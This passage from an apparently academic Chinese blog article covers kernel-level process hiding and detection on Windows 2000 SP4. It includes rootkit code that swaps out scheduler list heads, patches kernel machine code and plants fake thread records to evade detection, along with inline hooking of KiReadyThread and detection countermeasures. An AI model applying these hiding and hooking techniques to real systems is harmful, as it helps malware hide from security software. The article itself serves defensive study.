    以上是对一条链进行进程枚举。所以我们必须找到KiWaitInListHead,KiWaitOutListhead,KiDispatcherReadyListHead的地址,由于他们都没有被ntoskrnl.exe导出来,所以只有通过硬编码的办法给他们赋值。通过内核调试器,能找到(windows2000 sp4):

    PLIST_ENTRY KiWaitInListHead =          (PLIST_ENTRY)0x80482258;

    PLIST_ENTRY KiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;

    PLIST_ENTRY KiWaitOutListhead =         (PLIST_ENTRY)0x80482808;

    遍历所有的线程调度链表。

    for ( i =0; i<32 ;i++ )

    {

        DisplayList(KiDispatcherReadyListHead+i);

    }

    DisplayList(KiWaitInListHead);

    DisplayList(KiWaitOutListhead);

    通过上面的那一小段核心代码就能把删除活动进程链表的隐藏进程给查出来。也可以改写一个友好一点的驱动,加入IOCTL,得到的进程信息把打印在DbgView中把它返回给Ring3的应用程序,然后应用程序对返回的数据进行处理,和Ring3级由PSAPI得到的进程对比,然后判断是不是有隐藏的进程。

     

     

         

    4.       绕过内核调度链表隐藏进程。

    Xfocus上SoBeIt提出了绕过内核调度链表进程检测。详情可以参见原文:

    http://www.xfocus.net/articles/200404/693.html

    由于现在的基于线程调度的检测系统都是通过内核调试器得硬编码来枚举所有的调度线程的,所以我们完全可以自己创造一个那三个调度链表头,然后把原链表头从链中断开,把自己的申请的链表头接上去。由于线程调度的时候会用到KiFindReadyThread等内核API,在KiFindReadyThread里面又会去访问KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段访问KiDispatcherReadyListHead的机器码修改了,把原KiDispatcherReadyListHead的地址改成我们新申请的头。

    kd> u KiFindReadyThread+0x48

    nt!KiFindReadyThread+0x48:

    804313db 8d34d5e0224880 lea esi,[nt!KiDispatcherReadyListHead (804822e0)+edx*8]

    很明显我们可以在机器码中看到e0224880,由于它是在内存中以byte序列显示的转换成DWORD就是804822e0就是我们KiDispatcherReadyListHead的地址。所以我们要做的就是把[804313db+3]赋值成我们自己申请的一个链头。使其系统以后对原链表头的操作变化成对我们自己申请的链表头的操作。同理用到那三个链表头的还有一些内核API,所以必须找到他们在机器码中含有原表头地址信息的具体地址然后把它全部替换掉。不然系统调度就会出错.系统中用到KiWaitInListHead的例程:KeWaitForSingleObject、 KeWaitForMultipleObject、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。

    申请新的表头空间:

    pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool /

                            (NonPagedPool,sizeof(LIST_ENTRY));pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool /

                            (NonPagedPool, sizeof(LIST_ENTRY));

    pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool /

                            (NonPagedPool, 32 * sizeof(LIST_ENTRY));

     

     

         

    下面仅仅以pNewKiWaitInListHead头为例,其他的表头都是一样的操作。

    新调度链表的表头替换:

    InitializeListHead(pNewKiWaitInListHead);  

    把原来的系统链表头摘除,把新的接上去:

    pFirstEntry = pKiWaitInListHead->Flink;pLastEntry = pKiWaitInListHead->Blink;pNewKiWaitInListHead->Flink = pFirstEntry;pNewKiWaitInListHead->Blink = pLastEntry;pFirstEntry->Blink = pNewKiWaitInListHead;pLastEntry->Flink = pNewKiWaitInListHead;

     

     

         

    剩下的就是在原来的线程调度链表上做文章了使其基于线程调度检测系统看不出什么异端.

    for(;;)

    {

        InitializeListHead(pKiWaitInListHead);

        for(pEntry = pNewKiWaitInListHead->Flink;

        pEntry && pEntry != pNewKiWaitInListHead;

        pEntry = pEntry->Flink)

    {

    pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);

    pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);

            PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);

            if(PID == 0x8)

                     continue;

    pFakeETHREAD = ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));

            memcpy(pFakeETHREAD, pETHREAD,sizeof(FAKE_ETHREAD));

            InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry);

    }

    ...休息一段时间

    }

    首先每过一小段时间就把原来的线程调度链表清空,然后遍历当前的线程调度链,判断链中的每一个KPROCESS块是不是要属于要隐藏的进程线程,如果是就跳过,不是就自己构造一个ETHREAD块把当前的信息拷贝过去,然后把自己构造的ETHREAD块加入到原来的调度链表中。为什么要自己构造一个ETHREAD?其原因主要有2个,其一为了使检测系统看起来更可信,如果仅仅清空原来的线程调度链表那么检测系统将查不出来任何的线程和进程信息,

    很明显,这无疑不打自招的说,系统里面已经有东西了。其二,如果把自己构造的ETHREAD块挂接在原调度链表中,检测系统会访问挂在原来调度链表上的ETHREAD块里面的成员,如果不自己构造一个和真实ETHREAD块重要信息一样的块,那么检测系统很有可能出现非法访问,然后就boom兰屏了。

        实际上所谓的绕过系统检测仅仅是针对基于线程调度的检测进程的防御系统而言的,其实系统依旧在进行线程调度,访问的是我们新建的链表头部。而检测系统访问的是原来的头部,他后面的数据项是我们自己申请的,系统并不访问。

     

     

         

    5.       检测绕过内核调度链表隐藏进程

    一般情况下我们是通过内核调试器得到那三条链表的内核地址,然后进行枚举。这就给隐藏者留下了机会,如上面所示。但是我们完全可以把上面那种隐藏进程检测出来。我们也通过在内核函数中取得硬编码的办法来分别取得他们的链表头的地址。如上面我们已经看见了 KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的绕过内核调度链表检测办法同时也去要修改KiFindReadyThread+0x48+3的值为新链表的头部地址。所以我们的检测系统完全可以从KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead, KiWaitOutListhead也都到使用他们的相应的内核函数里面去取得地址。就算原地址被修改过,我们也能把修改过后的调度链表头给找出来。所以欺骗就不行了。

     

     

         

    Hook 内核函数(KiReadyThread)检测进程

    1.       介绍通用Hook内核函数的方法

    当我们要拦截目标函数的时候,只要修改原函数头5个字节的机器代码为一个JMP XXXXXXXX(XXXXXXXX是距自己的Hook函数的偏移量)就行了。并且保存原来修改前的5个字节。在跳入原函数时,恢复那5个字节即可。

    char JmpMyCode [] = {0xE9,0x00,0x00,0x00,0x00};//E9对应Jmp偏移量指令

    *((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//获得偏移量

    memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原来的代码

    memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆盖前一个命令为一个跳转指令

    在系统内核级中,MS的很多信息都没公开,包括函数的参数数目,每个参数的类型等。在系统内核中,访问了大量的寄存器,而很多寄存器的值,是上层调用者提供的。如果值改变系统就会变得不稳定。很可能出现不可想象的后果。另外有时候对需要Hook的函数的参数不了解,所以不能随便就去改变它的堆栈,如果不小心也有可能导致蓝屏。所以Hook的最佳原则是在自己的Hook函数中呼叫原函数的时候,所有的寄存器值,堆栈里面的值和Hook前的信息一样。这样就能保证在原函数中不会出错。一般我们自己的Hook的函数都是写在C文件里面的。例如Hook的目标函数KiReadyThread。那么一般就自己实现一个:

    MyKiReadyThread(...)

    {

        ......

        call KiReadyThread

        ......

    }

    但是用C编译器编译出来的代码会出现一个堆栈帧:

    Push ebp

    mov ebp,esp

    这就和我们的初衷不改变寄存器的数违背了。所以我们可以自己用汇编来实MyKiReadyThread。

    _MyKiReadyThread @0 proc

        pushad      ;保存通用寄存器

        call _cfunc@0 ;这里是在进入原来函数前进行的一些处理。

        popad       ;恢复通用寄存器

        push eax  

        mov eax,[esp+4] ;得到系统在call 目标函数时入栈的返回地址。

        mov ds:_OrgRet,eax ;保存在一个临时变量中

        pop eax

    mov [esp],retaddr ;把目标函数的返回地址改成自己的代码空间的返回地址,使其返回后能接手继续的处理

        jmp _OrgDestFunction ;跳到原目标函数中

    retaddr:

        pushad         ;原函数处理完后保存寄存器

        call _HookDestFunction@0 ;再Hook

        popad ;回复寄存器

        jmp ds:_OrgRet ;跳到系统调用目标函数的下一条指令。

    _MyKiReadyThread@0 endp

     

     

         

    在实现了Hook过后在当调用原来的函数时(jmp _OrgDestFunction),这个时候所以寄存器的值和堆栈信息和没Hook的时候一样。在返回到系统的时候(jmp ds:_OrgRet),这个时候的堆栈信息和寄存器的值和没有Hook的时候也是一样。就说是中间Hook层对下面和上面都是透明的。

     

     

         

    2.       检测隐藏进程

    在线程调度抢占的的时候会调用KiReadyThread,它的原型为:

    VOID FASTCALL KiReadyThread (IN PRKTHREAD Thread);

    在进入KiReadyThread时,ecx指向Thread。所以完全可以Hook KiReadyThread 然后用ecx的值得到但前线程的进程信息。KiReadyThread没被ntosknrl.exe导出,所以通过硬编码来。在2000Sp4中地址为0x8043141f。

    void cfunc (void)

    {

        ULONG PKHeader=0;

        __asm

        {

            mov PKHeader,ecx //ecx寄存器是KiReadyThread中的PRKTHREAD参数

        }

        ResumeDestFunction(); //恢复头5个字节

       

        if ( PKHeader != 0 )

        {

            DisplayName((PKTHREAD)PKHeader);   

        }  

    }

    cfun是Hook函数调用用来得到当前线程抢占的进程信息的。

     

     

         

    void DisplayName(PKTHREAD Thread)

    {

        PKPROCESS Process = Thread->ApcState.Process;

        PEPROCESS pEprocess = (PEPROCESS)Process;

        DbgPrint("ImageFileName = %s /n",pEprocess->ImageFileName);

    }

    void HookDestFunction() //设置头个字节为一个跳转指令,跳到自己的函数中去

    {

        DisableWriteProtect(&orgcr0);

        memcpy((char*)OrgDestFunction,JmpMyCode,5);

        EnableWriteProtect(orgcr0);

    }

    void ResumeDestFunction() //恢复头5个字节

    {

        DisableWriteProtect(&orgcr0);

        memcpy((char*)OrgDestFunction,OrgCode,5);

        EnableWriteProtect(orgcr0);

    }

    除了KiReadyThread其他还可以Hook其他内核函数,只有hook过后能得到线程或者是进程的ETHREAD或者是EPROCESS结构头地址。其Hook的方法都是一样的。Hook KiReadyThread基本原来说明了,详细实现可以见我的另外一篇文章《内核级利用通用Hook函数方法检测进程》。

     

     

         

    结论

        以上对内核级进程隐藏和侦测做了一个总结和对每一种方法的原理进行的详细阐述,并给出了核心的实现代码。

        信息安全将是未来发展的一个重点,攻击和侦测都有一个向底层靠拢的趋势。进程隐藏和侦测只是信息安全中的很小的一个部分。未来病毒和反病毒底层化是一个不可逆转的事实。通过对系统系统底层分析能更好的了解病毒技术,从而能够有效的进行查杀。为以后从事信息安全方面的研究奠定一个好的基础。

     

     

         

    致谢

    感谢重庆市信息安全技术中心提供实现和测试环境

    感谢龙老师和何老师的指点极其支持

     

     

         

    参考文献

    1.       Inside windows 2000

    2.       Inside Windows NT

    3.       Undocumented Windows NT

    4.       Undocumented Windows 2000

    5.       Windows Driver Model

    6.       WIN2000驱动程序设计

    7.       用ring3代码可靠地枚举Windows进程

    8.       绕过内核调度链表进程检测

    Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1148878 


    最新回复(0)